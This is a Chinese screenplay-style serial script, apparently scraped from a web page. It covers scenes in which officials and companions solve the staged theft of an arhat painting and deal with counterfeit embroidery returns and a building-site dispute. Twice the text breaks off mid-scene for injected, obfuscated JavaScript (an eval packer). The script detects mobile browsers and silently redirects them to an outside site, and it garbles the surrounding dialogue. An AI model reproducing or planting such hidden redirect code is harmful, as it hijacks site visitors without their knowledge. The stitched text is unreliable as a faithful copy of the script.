欧阳兰兰:(吓得躲在洛宁身后)宁姐姐,咱们快走吧!这里有鬼! 黑影轻叹一声,从角落里走出。三人此时方才看清,原来是一个女子,浑身上下罩着厚厚的黑纱,只露出了两只眼睛和两只手。 翡翠:你是谁?再不说话,休怪我对你不客气! 洛宁:翡翠,她可是个女的。 翡翠:那又怎样? 洛宁:你说她会不会是这家店的老板呀? 翡翠:(问黑影)喂,这家店是你开的吗? 黑影点点头。 洛宁:原来她真是这里的老板呀!(问黑影)那你刚才为何不说话? 黑影指了指自己的嘴巴,然后摆摆手。 洛宁:什么意思?难不成她是个哑巴? 翡翠想了想,冲黑影做了个手势。黑影像是看懂了,也冲他做了个手势。 翡翠:原来如此。 洛宁:怎么了? 翡翠:她说她受过伤,说不了话。 洛宁:怎么会这样? 欧阳兰兰:是啊!既然不会说话,还开什么店呀? 洛宁:翡翠,你告诉她,我们想买些绣品。 翡翠冲黑影做了个手势,黑影点点头,又回了个手势。 洛宁:她怎么说? 翡翠:她说我们想买什么东西,可以随便挑,这里的东西很好,价钱也很便宜。 欧阳兰兰:啧啧!翡翠,没想到你连手语都懂。 洛宁:这家伙向来只动嘴不动手,那双手若再不用用的话,怕是要废了。 翡翠:(瞪了洛宁一眼)喂,你到底还买不买东西?不买的话,就别在这里打扰人家了! 欧阳兰兰:买买买!我们这就来看! 欧阳兰兰开始挑选绣品,而洛宁显然对这家店的老板更感兴趣。 洛宁:翡翠,你帮我问问她,她是不是本地人? 没等翡翠做手势,黑影已经先做了个手势。 洛宁:她说什么? 翡翠:她说她虽然不能说话,但耳朵并不聋,你有什么问题可以直接问她。 洛宁:哦,这样啊!那行!(对着黑影)这位姑娘,请问你怎么称呼? 黑影做手势,翡翠翻译。 翡翠:她说她叫朵馨,原本是义州人氏。 洛宁:义州?这么说你是沉香国的人呐!那你为何打扮成这样?看上去就像那些信奉异教的外国人一样。 翡翠:她说她的身上有伤,怕会吓着我们。 洛宁:你多大岁数? 翡翠:二十一岁。 洛宁:这么年轻,怎么会受伤?在哪里受的伤?能让我看看吗? 朵馨毫不犹豫地摇了摇头。 翡翠:她不想让你看。不过话说回来,这是人家的私事,你问这么多干嘛? 洛宁:(撇撇嘴)唉,不愿说就算了。 朵馨又冲他们做了个手势。 洛宁:她说什么? 翡翠:她问我们是否认识贤晴姑娘。 洛宁:认识啊!你这家店,就是贤晴姑娘告诉我们的。 朵馨做了个手势,翡翠回复,朵馨又做了个手势,翡翠继续回复。见翡翠没有翻译,洛宁好奇地问。 洛宁:你们在说些什么呀? 翡翠:她问我贤晴姑娘怎么样了,我告诉她很好,她正在医馆里照顾她妹妹。 欧阳兰兰:(拿着一副绣品问洛宁)宁姐姐!你瞧瞧这个,跟我昨天在辉月阁里买的东西像不像? 一听到辉月阁三个字,朵馨的身子哆嗦了一下。 翡翠:你还好吧? 朵馨没有回答,她下意识地攥紧了拳头,一副紧张不安的样子。 洛宁:你怎么了?没事吧?是不是哪里不舒服? 朵馨回到刚才的座位上,垂下头,双手使劲绞着身上的黑纱。 欧阳兰兰:她怎么了? 洛宁:(摇头)不知道。 她正打算上前询问,却见朵馨颤抖着双手,冲他们做了个手势。 翡翠:她说让我们赶紧挑,过会儿要关门了。 欧阳兰兰:才开门又要关门?老板,你还做不做生意呀? 朵馨又做了个手势,双手抖个不停。 翡翠:她说她有些不太舒服,想早点儿回家睡觉。 洛宁:哦,这样啊!那行吧!欧阳兰兰,咱们赶紧挑吧! 洛宁和欧阳兰兰忙着挑选绣品,翡翠则一动不动地站在原地,盯着朵馨。 欧阳兰兰:宁姐姐!你瞧这个、还有这个,简直跟我在辉月阁里买的东西一模一样! 洛宁:你不是说街上卖的都是仿品吗? 欧阳兰兰:仿品也有高低之分!这家店的仿品,在所有仿品里面,可以说是最逼真的了! 洛宁:这么说,你若把这些东西放在家里,你那些好闺蜜们见了,肯定会说是从辉月阁里买的。 欧阳兰兰:我敢说她们肯定认不出来。 洛宁:(拿着其中一个绣品问朵馨)老板,这个多少钱? 朵馨做了个手势。 翡翠:一两银子。 欧阳兰兰:才一两银子?天哪!我在辉月阁里买同样的东西,花了足足十两呢! 洛宁:这下知道她们在坑你了吧! 欧阳兰兰:一个是仿品、一个是正品,能比吗? 洛宁:高手在民间,有的仿品做的比正品还要好!同样的东西,我只花了一两银子,而你却花了十两银子,在咱们两个人中间,谁是笨蛋呀? 翡翠扑哧一笑,这让欧阳兰兰的脸上有些挂不住。 欧阳兰兰:(不高兴地撅起嘴)我愿意花十两银子买正品,不行吗? 洛宁:行呀!问题是你那十两银子,辉月阁里的绣娘能拿到多少?一两银子吗?剩下的全归谁?邱老板吗?难怪她那么风流,原来是钱多得花不完呢! 朵馨抬头看了一眼洛宁,目光里有些许惊讶。 欧阳兰兰:(懊恼地)可我已经买了,如今后悔也晚了。 洛宁:那个店员不是说可以十天无理由退换货吗?不如你把辉月阁的东西退了,在这里买吧!反正都是一样的东西,你若不说,谁也看不出来! 欧阳兰兰:咦,也是啊!那我明天就去退! 5-40 马车车厢(夜,内) 人物:欧阳兰兰、洛宁、翡翠 欧阳兰兰眯着眼睛打盹儿,翡翠低声对洛宁说。 翡翠:那家店的老板有点儿不太寻常,她一听见辉月阁三个字就会打哆嗦。 洛宁:你注意到她那双手了吗? 翡翠:(点点头)又细又白,店里的东西也许都是她自己绣的。 5-41 客栈,走廊上(夜,内) 人物:张正清、洛宁、翡翠、欧阳兰兰 洛宁和欧阳兰兰抱着一堆绣品上楼,正赶上张正清从屋里出来,吓了她们一跳。 洛宁:呀,张大哥! 欧阳兰兰:张……张督察! 张正清:怎么了?你俩见了我,怎么像是见了鬼似的?这么晚才回来,该不会又干了什么亏心事吧?手里拿着什么?让我瞧瞧! 欧阳兰兰:哦,没什么!我们吃完饭后在街上逛了逛,买了几样绣品。 张正清:欧阳兰兰,你的眼光那么高,街上的绣品你看得上吗? 洛宁:这跟看不看得上没关系,主要是想把身上的钱花出去。 张正清:噢,原来是购物瘾又犯了呀!那行,你俩先回屋歇着吧! 欧阳兰兰/洛宁:哦,好! 才走了两步,洛宁又折返回来,贴近张正清嗅了嗅。 洛宁:张大哥,你身上好香啊!我怎么闻着像邱老板身上的味儿呀? 张正清:(脸微微一红)胡说什么呢!人家邱老板喝醉了,我送她回房休息,仅此而已,你别多想! 洛宁:是吗?唉,真是太可惜了! 张正清:小鬼,你什么意思呀? 洛宁:嘻嘻!张大哥,我们都以为你会在邱老板的屋里待到明天早上呢! 张正清:小屁孩!你给我站住!站住! 没等他追上来,洛宁和欧阳兰兰已经笑着跑进了屋。 5-42 辉月阁,阁楼(日,内) 人物:洛宁 第二天,洛宁又去了那个阁楼,却惊讶地发现,墙壁上的线条全被抹掉了。 洛宁(内心独白):我昨天才来过这里,今天那些线条就不见了,怎么会这么巧?难道说有人在盯着我?是谁? 5-43 客栈,洛宁和欧阳兰兰居住的客房( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007394|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜,内) 人物:洛宁、欧阳兰兰 晚上回到客栈,看见柜子里的包裹,洛宁皱起眉头。 洛宁:欧阳兰兰,你不是说要去退货吗?怎么没退呀? 欧阳兰兰:我退了呀! 洛宁:退了?怎么退的? 欧阳兰兰:不就是把那些绣品拿去辉月阁里,告诉她们我不想要了,然后她们就给我退了呗! 洛宁:她们在给你退货之前,没验过那些绣品吗? 欧阳兰兰:验了,没问题呀! 洛宁:(吃惊)没问题?! 欧阳兰兰:对呀!怎么了? 洛宁:欧阳兰兰,我让你拿放在左边的那一包,你拿的是哪一包? 欧阳兰兰:我拿的就是放在左边的那一包呀! 洛宁:(指着柜子右边空出的地方)你管这叫左边?欧阳兰兰,你长这么大,不至于连左和右都分不清吧? 欧阳兰兰:你的意思是,我拿错了? 洛宁:可不就是拿错了嘛!(指着柜子左边剩下的那一包)这一包里面装的才是辉月阁的绣品! 欧阳兰兰:可我去退货的时候,她们也没说什么呀! 洛宁:会不会因为你是欧阳世家的千金,所以她们觉得你不会弄虚作假呢? 欧阳兰兰:又或者是那家店的东西仿得太逼真,连辉月阁里的人也没认出来呢? 洛宁:也就是说,你只花了一两银子,就买到了辉月阁的真迹?天哪!欧阳兰兰,你捡到大便宜了! 欧阳兰兰:真的吗?我是不是在做梦?(使劲揪了下自己的脸)唉哟,疼!这么说,是真的了? 洛宁:千真万确呢! 欧阳兰兰:(一蹦三尺高)太好了! 两个女孩在屋内又蹦又跳,兴奋不已。 欧阳兰兰:明天我打算再去一趟,再买些绣品,再退一次货。 洛宁:还要干?你疯了吗?欧阳兰兰,好运气不会时时都跟着你,若是被她们发现了怎么办? 欧阳兰兰:(不以为然地)顶多坐几天牢了,若是肯花银子的话,连牢都不用坐! 洛宁:既然肯花银子,又为何要贪这种小便宜? 欧阳兰兰:横溪城关家的娇娇姑娘,你认识吗? 洛宁:她不是你的好闺蜜吗? 欧阳兰兰:对呀!他们家可是横溪城的首富,她又是她爹的掌上明珠,从小到大跟我一样锦衣玉食,什么都不缺。可那日我跟她一起逛街的时候,还亲眼看见她从胡掌柜的铺子里顺走了一支金钗呢! 洛宁:噢,我明白了!你们这些家伙,只是为了找刺激。 欧阳兰兰:嘿嘿,说对了! 洛宁:如果被张大哥知道了怎么办?他可就住在咱们的隔壁! 欧阳兰兰:宁姐姐!因为凤仪堂的事,我可是损失了一大笔银子,你不能不让我找补一些回来吧?再说了,那家店你也去了,退货的主意也是你给我出的,害我拿错包裹的人也是你,整件事情你都有参与,就算不是主犯,最起码也是个教唆犯。如果被张督察知道了的话,大不了咱俩一起蹲班房。我倒是无所谓,但你那份督察府的薪水,怕是领不到了! 洛宁:你敢威胁我?欧阳兰兰,算你狠!哼! 欧阳兰兰:嘻嘻!宁姐姐,等回到凤凰城之后,我把这些绣品卖给我那些好闺蜜们,赚来的钱分给你三成。怎么样? 洛宁:才三成?难道不应该是五成吗? 欧阳兰兰:人家翡翠还有一份呢! 洛宁:得得得!我明白了!反正我已经上了你的贼船,只能假装什么都没看见了!唉! 5-44 客栈,前院(夜,外) 人物:张正清、洛宁、欧阳兰兰、田佳、乔捕头 洛宁和欧阳兰兰刚商量好,又听楼下传来田佳的哭声。 田佳:老大!你说那个逆千帆是不是存心在戏弄我呀? 张正清:怎么了? 田佳:城里到处都有人说看见了他!我去了城东,有人说他在城西;我去了城西,又有人说他在城东;我去了城南,有人说他在城北;我去了城北,又有人说他在城南。总之,不管我跑得多么快,却总是晚到一步!这个逆千帆,怎么就那么难抓呀? 乔捕头:奇怪!罗汉图不见踪影,逆千帆却到处都是。怎么回事? 张正清:(微微一笑)呵呵,这还用问吗?肯定是有人在散布谣言。 乔捕头:散布谣言? 张正清:有人想让我们以为罗汉图是逆千帆偷的。 田佳:老大,你说的什么意思?难道罗汉图不是逆千帆偷的? 张正清:田佳,你不是说你了解逆千帆吗?他可是个大烟鬼,但凡他去过的地方,都会留下一股子很重的烟味儿,缭绕三日而不绝。你不至于连这一点都不知道吧?我问你,这几日你在城里追捕逆千帆,去过的那些地方有没有烟味儿? 田佳:呀,我怎么把这一点给忘了。老大,你怎么不提醒我一下呀? 张正清:我见你立功心切,不想给你泼一盆凉水。唉! 乔捕头:大人,接下来怎么办? 张正清:怎么办?当然是把那些散布谣言的人全抓起来了! 48. 第五篇 丢失的罗汉图 梁州,春晖城 5-45 辉月阁,展厅(日,内) 人物:欧阳兰兰、店员 见欧阳兰兰又来退货,店员有些不满。 店员:欧阳小姐,您一下子全买了、又一下子全退了,怎么回事呀? 欧阳兰兰:我听说拍卖会还要接着办,所以不想买这些便宜货了,不行吗? 店员:行是行!但您不打算留几样吗? 欧阳兰兰:留什么呀?我是何等身份,这些东西若是摆在我的屋里,人家会笑我寒酸! 店员:既如此,您当初又何必买呢? 欧阳兰兰:你们开店做生意,还不许人买呀?当初你要是说不卖的话,我也就不会买了。 店员:得得得,我明白了,我给您退。不过先说好,这是最后一次了。 欧阳兰兰:最后一次?凭什么?十天无理由退换货,是你们自己说的,又不是我让你们这么做的。甭管是第几次,只要在这个期限内,你就得给我退! 店员:欧阳小姐,您不能不讲道理呀! 欧阳兰兰:到底是谁不讲道理?我不过才退了两次而已,你要是觉得不耐烦,让你们邱老板过来! 店员心知欧阳兰兰刁蛮惯了,此事若闹去了邱红叶那里,怕是不好收场,忙赔上笑脸。 店员:欧阳小姐,像这种小事,哪里用得着找邱老板呀?您不想要了,我给您退了便是!唉! 5-46 县衙,刑讯室(日,内) 人物:乔捕头、黄毅、田佳、目击者若干 很快,那些说见过逆千帆的人全被抓进了县衙里。为防串供,张正清将他们分开审问。 第一间屋子里。 乔捕头:你说你见过逆千帆,他多大岁数?长什么模样? 目击者甲:也就二十五六岁的样子,长得可真俊!你若不说他是个贼,我还以为他是哪家的翩翩公子呢! 第二间屋子里。 黄毅:你说你见过逆千帆,他多大岁数?长什么模样? 目击者乙:岁数不小了,看上去比我还大些,一副老态龙钟的样子。我就纳闷了,就凭他,也能潜入宫中盗宝? 第三间屋子里。 田佳:你说你见过逆千帆,他多大岁数?长什么模样? 目击者丙:长得跟我挺像。 田佳:(没好气地)这位大哥,你的头都秃了,总不至于逆千帆也是这副样子吧? 目击者丙:要不怎么叫聪明绝顶呢?也只有这样的人,才能将罗汉图从密不透风的辉月阁里偷出来,不是吗? …… 5-47 县衙,议事厅(日,内) 人物:张正清、洛宁、田佳、黄毅、乔捕头 当看到目击者们的口供时,张正清忍不住笑了。 张正清:你们瞧瞧!这些人见过的逆千帆,有高有矮、有胖有瘦、有老有少,有的面如冠玉、风度翩翩,有的獐头鼠目、凶相毕露,可谓是一千个人眼里有一千个逆千帆。呵呵! 田佳:不用说,他们肯定都在撒谎。真正的逆千帆,他们根本就没见过!哼! 黄毅:接下来怎么办?要让他们招供吗? 张正清:当然了!这些人不过是拿人钱财、替人办事,想让他们招供的话也不难,只需多关他们几日、多打他们几顿,自然就说了。 正如张正清所言,一番刑讯逼供之后,那些人全招了,令他们没想到的是,幕后的指使者,竟是辉月阁的管家。 5-48 客栈,张正清居住的客房(夜,内) 人物:张正清、洛宁 洛宁皱起眉头。 洛宁:辉月阁的管家? 张正清:怎么?你该不会还有什么疑问吧? 洛宁:张大哥,如果你是辉月阁的管家,你会去偷那幅罗汉图吗? 张正清:罗汉图是辉月阁的镇阁之宝,价值无法估量,任谁都有可能会对它起贪心。 洛宁:偷了之后,藏在哪里?怎么销赃? 张正清:去问问管家不就知道了。小鬼,你到底在怀疑什么呀? 洛宁:我只是觉得管家用这种方法偷罗汉图,着实有点儿太蠢了。 张正清:与逆千帆相比,她确实蠢多了! 洛宁:那你打算怎么办?去抓她吗? 张正清:那些人已经供出了她,此时不抓、更待何时? 洛宁:张大哥,要不咱们缓一缓? 张正清:缓一缓?小鬼,你又想干什么? 洛宁:之前你也说过,咱们要找的是罗汉图。如果抓住了管家,她却不肯供出罗汉图的藏匿地点,怎么办? 张正清:倒也有这个可能。但不抓她的话,如果她带着罗汉图逃跑了,怎么办? 洛宁:可以派人盯着她嘛! 张正清:如果她迟迟不动手怎么办?我们不可能在这里一直等下去。 洛宁:我倒是觉得,人家邱老板想留你在这里长住呢! 张正清:(咬牙切齿地)小屁孩!那天我请你吃饭你不去,以后你再想让我请你可就难了!哼! 洛宁:如果我帮你把罗汉图找回来了,你请我吃饭不? 张正清:不请! 洛宁:就不能商量一下吗? 张正清:没商量!哼! 洛宁:张大哥,那天晚上你跟邱老板在饭桌上到底聊了些什么?我怎么觉得你像是吃了大亏呢? 张正清:小屁孩!你再敢跟我提那天晚上的事试试?信不信我……(扬起手要打) 洛宁:看来是了! 张正清:(手停在半空中)你说什么?什么是不是? 洛宁:张大哥,你有没有发现邱老板的态度很反常? 张正清:什么意思? 洛宁:若换成了你,丢了这么重要的宝贝,会怎样? 张正清:当然是日不能思、夜不能寐,一心惦记着罗汉图的下落了。 洛宁:可我怎么觉得邱老板一心惦记着的是你呀! 张正清:你的意思是,罗汉图根本就没丢? 洛宁:似乎除了我们来这里的第一天、邱老板掉过两滴眼泪之外,接下来的几日,她一直都是很开心的样子。 张正清:她又不是小孩子,为何要干这种事情? 洛宁:为了你呗!张大哥,我听田佳说,邱老板曾去督察府找过你几回,可惜都被你以这样那样的理由拒之门外。你这么做,是不是有点儿太凉薄了? 张正清:听你这意思,我是不是还应该笑脸相迎呀? 洛宁:你要是能这么做的话,罗汉图兴许就不会丢了。 张正清:这个邱红叶,如果被我查出这件事属实,看我怎么办她!哼! 洛宁:张大哥!她是辉月阁的老板,你是凤凰城的督察,你们俩都是梁州境内响当当的人物,若为这点儿小事撕破了脸,岂不是要让人看笑话?好歹你也在辉月阁里待过几日,她的茶,你也喝了;她的酒,你也吃了…… 张正清:那又怎样?我身正不怕影子斜! 洛宁:你这么想,可别人不这么想啊!一传十十传百,传到最后变了味儿。到那时,你说自己什么都没干,谁信呀? 张正清:这个女人的风流韵事,之前我也有所耳闻,正因为不想跟她有什么瓜葛,所以我才会处处避着她。 洛宁:那么这回,不如咱们再给她一个面子,让她自己把罗汉图交出来吧! 5-49 辉月阁,邱红叶的屋子(日,内) 人物:邱红叶、管家 听闻张正清抓了那些目击者,辉月阁的管家顿时急了。 管家:夫人,他们马上要来抓我了,怎么办呀? 邱红叶:你就说罗汉图是你偷的,不就行了。 管家:夫人,我可是在替您办事,您不能这样对我呀! 邱红叶:怎么?你还想供出我呀? 管家:不是!我在想,有没有什么别的办法? 邱红叶:别的办法?什么办法? 管家:比如说,让罗汉图自己现身。 邱红叶:自己现身?你是不是想把罗汉图从我的枕头底下拿出来献给张正清呀? 管家:我不是这个意思,我的意思是既然咱们从一开始就说这件事是逆千帆干的,不如就让他接着来当这个冤大头吧! 5-50 县衙,前门(日,外) 人物:张正清、洛宁、钱知县 张正清和洛宁刚走到县衙门口,就看见钱知县从里面出来,见到张正清,顿时喜上眉梢。 钱知县:张大人,您来了,下官还正打算去找您呢! 张正清:怎么了,钱大人?我见你行色匆匆,又发生了什么事? 钱知县:回大人,罗汉图找到了! 张正清:(与洛宁对望了一眼)找到了? 钱知县:(忙不迭点头)是啊!找到了! 张正清:在哪里? 钱知县:就在城南的觉林寺里! 5-51 觉林寺,大雄宝殿(日,内) 人物:张正清、洛宁、田佳、钱知县、寺院管家、公差若干 公差们小心翼翼地将罗汉图从佛像里取了出来。 张正清:大师,你们是怎么发现这幅罗汉图的? 寺院管家:回大人的话,昨日有一个从外地来的僧人,要在本寺挂单,贫僧原以为他来这里是想参加本寺即将举行的水陆法会,却不料他只住了一个晚上,便匆匆离开了。 田佳:他长什么模样? 寺院管家:模样倒没什么特别之处,只不过他虽然穿着僧衣拿着数珠,却不曾念过一声佛号,对庙里的规矩也不是很懂。贫僧见他年纪轻轻,以为他刚出家不久,所以也没太在意。 田佳:他身上有烟味儿吗? 寺院管家:(不解地)烟味儿?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007395|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>洛宁:田佳!这里是寺院,平日里经常焚香供佛,他身上就算有烟味儿,旁人也未必闻得出。 寺院管家:是啊!我们经常闻这个,早就习惯了。 田佳:那你们是怎么发现罗汉图的? 寺院管家:他来的时候,身上背着一大包行李,走的时候却是两手空空,贫僧担心他忘拿了什么东西,便派人去他住过的寮房里找寻,结果发现什么都没有。 田佳:那你们又是怎么找到这幅罗汉图的? 寺院管家:今天早上,僧人们为佛像更换佛衣,见莲花座下有一块儿红色的布头,揭开一看,方才发现了这幅罗汉图。 钱知县:这个逆千帆,居然想出利用佛像来藏赃的主意,真够狡猾! 张正清:我倒是觉得,罗汉图出现在这里,再合适不过了!(冲洛宁挤挤眼)小鬼,你说呢? 洛宁:可不是嘛!辉月阁里全是女人,罗汉图摆在那种地方,还真是格格不入呢! 5-52 辉月阁,客厅(日,内) 人物:张正清、洛宁、翡翠、欧阳兰兰、邱红叶 罗汉图找了回来,邱红叶自然是千恩万谢,碍于面子,张正清也勉强挤出笑容,跟她客套了几句。 翡翠:美人当前,却能面不改色心不跳,你们张督察可真是稳如泰山呀! 洛宁:(小声地)你跟欧阳兰兰呢?这几日你俩天天在一起,有没有更进一步? 翡翠:怎么进? 洛宁:比如说,拉拉小手、拥抱一下之类。 翡翠:这些事,咱俩以前不都已经干过了吗? 洛宁:咱俩?不可能! 翡翠:在大乐神庙前,你不记得了吗? 洛宁:那个呀!不过是小孩子过家家、闹着玩儿罢了! 翡翠:(沉下脸)闹着玩儿? 洛宁:对呀!当时我只有七岁、你只有十岁,不是闹着玩儿是什么? 翡翠:你真是一点儿没变,还是那么令人讨厌!哼!(气呼呼地走了) 洛宁:(一头雾水)怎么?我说错了吗?说我一点儿没变,你不也是一样吗?哼! 5-53 客栈,前院(夜,外) 人物:洛宁、田佳、张正清 田佳闷闷不乐地坐在门前的台阶上,洛宁来到她身边。 洛宁:田佳,你怎么了? 田佳:宁儿,你说逆千帆到底来没来呀? 洛宁:你是不是很想见他? 田佳:若说不是,那肯定是假话。实不相瞒,那天我听说他偷了罗汉图,心里别提有多高兴了,一想到马上要见到他了,我激动得一夜都没睡好。结果……唉! 洛宁:田佳,你有没有想过,也许逆千帆就是一个彻头彻尾的大坏蛋呢! 田佳:(一听便不高兴了)宁儿,你又没见过他,怎么知道他是好人还是坏人呢? 洛宁:他若是个好人,为何要偷东西? 田佳:我不是告诉过你嘛,他有他的苦衷。 洛宁:什么苦衷? 田佳:我没问。 洛宁:要我说,这就是一个谎言! 田佳:他不就是偷了点儿东西吗?又不是杀人放火! 洛宁:问题是你打算嫁给他吗?一旦嫁给了他,还能不能继续留在督察府里呢? 田佳:我想跟着他浪迹天涯!哪怕一无所有,只要我们两个人在一起,朝夕相对、夫唱妇随,你是我的青山、我是你的绿水,你是我的微风、我是你的细雨,你是我的白昼、我是你的黑夜…… 田佳自顾自地说着,一脸的陶醉。张正清从里面出来,见她这副样子,皱起眉头。 张正清:这丫头怎么了?是不是又病了? 洛宁:唉,别问了,她已经无药可救了! 5-54 客栈,前院(日,外) 人物:张正清、洛宁、欧阳兰兰 一行人启程返回凤凰城。欧阳兰兰特意雇了辆马车,用来运送她购买的绣品。 张正清:啧啧!欧阳兰兰,你可真是满载而归呀! 欧阳兰兰:嘻嘻,好不容易来一趟,忍不住多买了些。 张正清:咦,这幅孔雀图看上去挺不错,不如送给我吧! 洛宁:张大哥,你要这个干什么呀? 张正清:不是你天天跟我抱怨,说咱们督察府里除了白墙灰瓦之外什么都没有吗?有了这幅孔雀图,咱们督察府里也能多一点儿生气嘛! 欧阳兰兰:张督察,宁姐姐不是会画画吗?你让她给你画两幅不就行了! 张正清:她?得了吧!刚来督察府的时候,我就让她给我画一幅,结果到现在还没完工。能指望吗? 欧阳兰兰:那你也不能找我要啊! 张正清:不肯给是吧?那行!等回到凤凰城之后,跟我去一趟督察府,讲一讲你俩倒卖绣品的事吧! 洛宁和欧阳兰兰一听,顿时傻了眼。 49. 第五篇 丢失的罗汉图 梁州,紫蔚城 5-55 空地上(日,外) 人物:翡翠、余守泰、花匠若干 从春晖城回来之后,翡翠的酒庄正式破土动工了。 一个坑挖好了,众人测量了一下,比图纸上差了两厘。 众花匠:只差两厘,嘿嘿,咱们的活儿干得还不赖嘛! 翡翠:(黑着脸)差了足足两厘,还有脸说自己的活儿干得不赖,谁给你们的勇气?知道什么叫“差之毫厘,谬以千里”吗?地基若打得不牢固,房子倒了怎么办? 众花匠:(不以为然地)只两厘而已…… 翡翠:一厘也不行!如果这个地方差了两厘、那个地方又差了两厘,还画什么图纸呀?索性闭着眼睛干好了! 花匠们还想争辩,却被余守泰喝止。 余守泰:(笑着问)翡翠公子,那您说该怎么办吧? 翡翠:还能怎么办?当然是填平了、重新挖! 5-56 空地上(夜,外) 人物:余守泰、花匠若干 一天干下来,花匠们个个牢骚满腹。 花匠甲:一个坑挖了十来遍,还让不让人活了? 花匠乙:我这辈子,还是头一回遇见这么难伺候的主儿!你们说他是不是故意的呀? 花匠丙:折腾咱们对他有什么好处?除非他不想盖这个房子了! 花匠丁:要我说,干脆别干了!免得到头来钱还没挣着、先把命搭进去了! 花匠戊:是啊!此处不留爷,自有留爷处!到哪儿不都是给人家干活吗?何必非要在这一棵树上吊死呢? 见花匠们纷纷想走,余守泰急忙劝说。 余守泰:喂喂喂,你们几个怎么回事呀?不就是多挖了两遍吗?能吃多大的亏呀?咱们干的本来就是力气活儿,舍不得下力气怎么行呢? 花匠甲:我们也没说不干,只不过这个主儿的要求实在是太高了!我们只是花匠,从不曾给人盖过房子,如今他不仅要咱们盖房子,还要咱们按照皇宫的标准来盖,咱们哪有这个本事呀? 余守泰:知道自己没本事了?那还不赶紧趁着这个机会,好好地偷师学艺!只要你们能把这个房子盖起来,以后别说是栽花种果了,就连皇宫你们也照样能盖!你们想想,宫里的工匠一天挣多少钱?你们在洛府当花匠,一天才挣多少钱?人家翡翠公子这么做,可是在帮你们呐! 花匠乙:话虽这么说,可照这样干下去,这个房子何年何月才能盖起来呀? 花匠丙:是啊!我们拿的钱本来就不多,如果在这个上面耽误太多的工夫,岂不是赔本赚吆喝? 花匠丁:对呀!我们也要养家糊口,如果工期拖得太长,只怕还没当上宫里的工匠,自己先饿死了。除非…… 余守泰:除非什么? 花匠丁:他给咱们涨工钱! 余守泰:你们这些家伙怎么不讲道理呀?才头一天给人家干活,就要涨工钱,说得过去吗? 花匠甲:一个坑挖了十来遍,咱们干得可是人家十倍的活儿! 花匠乙:对呀!他也应该按照十倍的工钱付给咱们! 花匠丙:说得没错!如果他不给咱们涨工钱,咱们就不干了! 花匠丁:对!不干了! 花匠们纷纷起哄。 余守泰:你们这不是为难我吗?当初人家并没有请咱们,是咱们自己要过来帮忙,如今事儿没给人家办妥,却厚着脸皮找人家要钱,像话吗? 花匠甲:我们哪里知道会是这种情况啊! 余守泰:甭管是什么情况,既然已经答应了人家,就不能说走就走!要不这样,你们先在这里干着,工钱的事,我再跟翡翠公子商量一下,看能不能多给点儿。行不? 听了这话,花匠们想了想,方才点头应承。 花匠甲:看在余哥的份儿上,咱们先留下来!不过话要说清楚,他若不给咱们涨工钱,别指望咱们会给他好好干!哼! 5-57 空地上,帐篷(夜,内) 人物:余守泰、花匠若干 夜深了,余守泰躺在床上,翻来覆去睡不着,还在为白天的事发愁。 余守泰:唉,怎么办呢?这次的事情如果搞砸了,以后再想接什么活儿可就难了!(瞅了瞅周围鼾声如雷的花匠们)唉,这帮家伙,又想挣钱又不肯花力气,天底下哪有那么好的事呀! 他越想心越烦,索性起了床,走出帐篷,去不远处的林子里小解,却因弄错了方向,一下子跌进才挖的土坑里。土坑很深,他在里面摸索了半天,也没能上去。他扯着嗓门,试图叫醒那些花匠们,结果他们一个比一个睡得沉,根本听不见。无奈之下,余守泰只好蜷缩在土坑里,等天明之后,那些家伙来寻找自己。 5-58 空地上,帐篷(日,内) 人物:余守泰、金鹏、路易、翡翠 余守泰被花匠们从土坑里救上来时,人已经快冻僵了。 余守泰:(紧捂着被子,不住地发抖)呜呜,好冷!呜呜,好冷!…… 金鹏:哥!你怎么那么不小心呀?幸好昨晚没下雪,不然的话怕是连命都没了! 路易:呵呵!余大哥,你的岁数也不小了,以后夜里出门的时候,记得找个伴儿。 余守泰:我哪知道那些家伙睡得那么沉呀!唉,一个个干活儿没力气,吃饭睡觉却是比谁都香!(说完接连打了几个喷嚏,眼泪鼻涕都流了出来) 金鹏:(心疼地)哥!你行不行呀?要是不行的话,趁早跟我回去吧,别在这里给人家翡翠公子添乱了! 余守泰:我若是走了,谁管得住那帮家伙呀!这点儿小毛病,过两天就好了,你别担心! 金鹏:真的没事儿? 余守泰:没事儿,你放心吧! 金鹏:要不我留下来照顾你? 余守泰:我又不是小孩子,要你照顾什么呀?总会里还有不少事,你赶紧回去吧! 路易:那行吧,我们先走了!这些药给你,记得按时吃! 余守泰:哦,好!(从床上挣扎着下来)我送送你们! 金鹏:哥,你都病成这样了,还出来干嘛?快回去! 余守泰:人家路大夫为了我,一大早从凤凰城里赶过来,我能不送送人家吗? 路易:余大哥,你可真是太客气了!快回去吧,别再冻着了! 5-59 空地上(日,外) 人物:金鹏、余守泰、翡翠、路易、欧阳兰兰、仆人若干、花匠若干 几个人刚走出帐篷,却见欧阳兰兰来了,身后跟着一群家丁。 路易:(意外)咦,欧阳姑娘?你怎么到这里来了? 欧阳兰兰:我见这里干活的人太少,特意从家里带了几个过来。(问翡翠)翡翠,你看这些人够不够?如果不够的话,我还可以再多叫上几个。 路易:翡翠?(望了望翡翠,笑着对欧阳兰兰)你俩的关系挺不错呀! 翡翠:这些人的工钱怎么算? 欧阳兰兰:这个不用你管,我们欧阳世家会跟他们结账。 